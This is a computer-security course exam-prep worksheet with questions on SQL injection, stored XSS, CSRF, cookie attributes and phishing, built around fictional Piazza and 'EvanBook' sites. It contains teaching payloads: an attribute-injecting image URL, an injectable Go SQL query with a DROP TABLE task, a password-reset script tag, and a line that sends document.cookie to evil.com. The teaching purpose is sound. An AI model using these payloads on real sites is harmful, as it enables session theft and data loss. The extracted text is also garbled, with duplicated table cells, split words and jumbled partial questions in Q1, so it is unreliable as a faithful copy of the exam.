## CS 161 Computer Security

Exam Prep 9

Q1 SQL Injection

(20 points)

CS 161 students are using a modified version of Piazza to discuss project questions! In this version, the names and profile pictures of the students who answer questions frequently are listed on a side panel on the website.

The server stores a table of users with the following schema:

```
CREATE TABLE users (
First TEXT, -- First name of the user.

Last TEXT, -- Last name of the user.

ProfilePicture TEXT, -- URL of the image.
FrequentPoster BOOLEAN, -- Are they a frequent poster?

);
```

Q1.1 (3 points) Assume that you are a frequent poster. When playing around with your account, you notice that you can set your profile picture URL to the following, and your image on the frequent poster panel grows wider than everyone else's photos:

ProfilePicture URL: https://cs161.org/evan.jpg" width="1000

## Frequent posters

What kind of vulnerability might this indicate on Piazza's website?

| 0 | Stored XSS    | 0 | Path traversal attack |
|---|---------------|---|-----------------------|
| 0 | Reflected XSS | 0 | Buffer overflow       |
| 0 | CSRF          |   |                       |

| 1       | Hint: Recall that image tags are typically formatted as <img src="image.png"/> .  |
|---------|---|
|         |   |
|         | 4 points) Suppose your account is not a frequent poster, but you still want to conduct an a hrough the frequent posters panel!  |
| J       | When a user creates an account on Piazza, the server runs the following code:   |
|         | <pre>query := fmt.Sprintf("     INSERT INTO users (First, Last, ProfilePicture, FrequentPoster)         VALUES ('%s', '%s', FALSE); "</pre>   |
|         | first, last, profilePicture)  |
|         | db.Exec(query)  |
| 8       | Provide an input for profilePicture that would cause your malicious script to run the next  |
| ()<br>[ | Provide an input for profilePicture that would cause your malicious script to run the next user loads the frequent posters panel. You may reference PAYLOAD as your malicious image from earlier, and you may include PAYLOAD as part of a larger input.  4 points) Instead of injecting a malicious script, you want to conduct a DoS attack on Pi Provide an input for profilePicture that would cause the SQL statement DROP TABLE u |
| ()<br>[ | Provide an input for profilePicture that would cause your malicious script to run the next user loads the frequent posters panel. You may reference PAYLOAD as your malicious image from earlier, and you may include PAYLOAD as part of a larger input.  4 points) Instead of injecting a malicious script, you want to conduct a DoS attack on Pi   |

Page 2 of 7

| Q1.5 | 21.5 (3 points) Your malicious script submits a GET request to the Piazza website that marks "helpful" on one of your comments. Does the same-origin policy defend against this attack? |  |  |  |
|------|---|--|--|--|
|      | 0   | Yes, because the same-origin policy prevents the script from making the request  |  |  |
|      | 0   | Yes, because the script runs with the origin of the attacker's website   |  |  |
|      | 0   | No, because the same-origin policy does not block any requests from being made   |  |  |
|      | 0   | No, because the script runs with the origin of Piazza's website  |  |  |
| Q1.6 | ` •   | nts) Your malicious script submits a GET request to the Piazza website that marks "helpful!" e of your comments. Does enabling CSRF tokens defend against this attack? |  |  |
|      | 0   | Yes, because the attacker does not know the value of the CSRF token  |  |  |
|      | 0   | Yes, because the script runs with the origin of the attacker's website   |  |  |
|      | 0   | No, because GET requests do not change the state of the server   |  |  |
|      | 0   | No, because the script runs with the origin of Piazza's website  |  |  |

## Q2 Cookie Crumbling (21 points)

Alice and Eve both have accounts on EvanBook. EvanBook is a social media website that allows users to make posts. Those posts are stored on EvanBook servers.

| Q2.1 | (2 points) Eve makes an EvanBook post with the contents:  |                            |                 |                        |  |  |
|------|---|----------------------------|-----------------|------------------------|--|--|
|      | <scri< td=""><td>pt src="http:/</td><td>/evanmail.co</td><td>om/something.</td><td>js"&gt;</td></scri<>                               | pt src="http:/             | /evanmail.co    | om/something.          | js">                                       |  |
|      | Assur   | ne EvanBook does           | not check user  | inputs. If Alice       | opens Eve's post, what happens?            |  |
|      | 0   | The JavaScript in          | something.j     | s runs with the        | origin of evanbook.com.                    |  |
|      | 0   | The JavaScript in          | something.j     | s runs with the        | origin of evanmail.com.                    |  |
|      | 0   | The JavaScript in          | something.j     | s does not run.        |  |  |
| Q2.2 | (3 poi<br>that a  |                            | following stat  | ements is true a       | bout Alice opening Eve's post? Select all  |  |
|      |   | Alice's browser is blocked | able to make a  | request to <b>evan</b> | mail.com/something.js without being        |  |
|      |   | If EvanBook sanit          | ized all JavaSc | ript input, Alice'     | s browser would not run something.js.      |  |
|      |   | If EvanBook sanit          | ized all HTML   | input, Alice's bi      | rowser would not run something.js.         |  |
|      |   | None of the above          | 2               |                        |  |  |
| Q2.3 | (3 points) Eve makes an EvanBook post with the contents:  |                            |                 |                        |  |  |
|      | <scri< td=""><td>pt src="http:/</td><td>/evanbook.co</td><td>om/resetPassw</td><td>ord?password=123"&gt;</td></scri<>                 | pt src="http:/             | /evanbook.co    | om/resetPassw          | ord?password=123">                         |  |
|      | The resetPassword endpoint makes a request that sets the currently logged-in user's password to the "password" query parameter input. |                            |                 |                        |  |  |
|      | Assur   |                            | not check user  | inputs. When Al        | ice opens Eve's post, which attack has Eve |  |
|      | 0   | Stored XSS                 | 0               | CSRF                   | O None of the above                        |  |
|      | 0   | Reflected XSS              | 0               | SQL injection          |  |  |

| Q2.4  | .4 (6 points) Eve makes an EvanBook post with the contents:   |   |             |               |                              |
|---|---|---|-------------|---------------|------------------------------|
|   | <pre><script>fetch("http://evil.com/store?token=" + document.cookie)</script></pre>   |   |             |               | ent.cookie)                  |
|   |   | //evil.com/store is a pag<br>those URL query parameters | -           | •             | n URL query parameters, and  |
|   | Assume EvanBook does not check user inputs. If Alice opens Eve's post, which of these cogets sent to evil.com? Select all that apply. |   |             |               | post, which of these cookies |
| <ul> <li>□ Domain = evil.com, Path = /, HTTPOnly = True, Secure = False</li> <li>□ Domain = evil.com, Path = /store, HTTPOnly = False, Secure = False</li> </ul>  |   |   |             | False         |                              |
|   |   |   |             | cure = False  |                              |
| <ul> <li>□ Domain = evil.com, Path = /store, HTTPOnly = True, Secure = True</li> <li>□ Domain = evanbook.com, Path = /, HTTPOnly = True, Secure = False</li> <li>□ Domain = evanbook.com, Path = /, HTTPOnly = False, Secure = False</li> <li>□ Domain = evanbook.com, Path = /, HTTPOnly = False, Secure = True</li> </ul> |   |   | eure = True |               |                              |
|   |   |   | are = False |               |                              |
|   |   |   | ure = False |               |                              |
|   |   |   | ure = True  |               |                              |
|   |   | None of the above                                       |             |               |                              |
| Q2.5 (3 points) Which attack has Eve executed?  |   |   |             |               |                              |
|   | 0   | Stored XSS  | 0           | CSRF          | O None of the above          |
|   | 0   | Reflected XSS   | 0           | SQL injection |                              |
|   |   |   |             |               |                              |

| Q2.6 (4 points) To log into EvanBook, you must go through authentication on login.evanbeand set a cookie to keep track of your authenticated status. |  |         |                  |  |  |  |  |
|--|--|---------|------------------|--|--|--|--|
|  | The session token cookie should be secure against network attackers, and should get sent to as many pages on evanbook.com as possible. |         |                  |  |  |  |  |
| If the attribute could be set to any value, select or write "Doesn't matter."  |  |         |                  |  |  |  |  |
|  | Domain   |         |                  |  |  |  |  |
|  |  |         |                  |  |  |  |  |
|  |  |         |                  |  |  |  |  |
|  | Path   |         |                  |  |  |  |  |
|  |  |         |                  |  |  |  |  |
|  | Secure   |         |                  |  |  |  |  |
|  | O True   | O False | O Doesn't matter |  |  |  |  |
|  | HttpOnly   |         |                  |  |  |  |  |
|  | O True   | O False | O Doesn't matter |  |  |  |  |
|  |  |         |                  |  |  |  |  |

Q3 Phishing (0 points)

A phishing attacker tries to gain sensitive user information by tricking users into going to a fake version of a website they trust. The attacker might convince the user to go to what *appears* to be their bank and to enter their username and password.

- i. What are some ways that attackers try to fool users about the site they are going to? How do they convince people to click on links to sites?
- ii. What are some defenses you should employ against phishing?
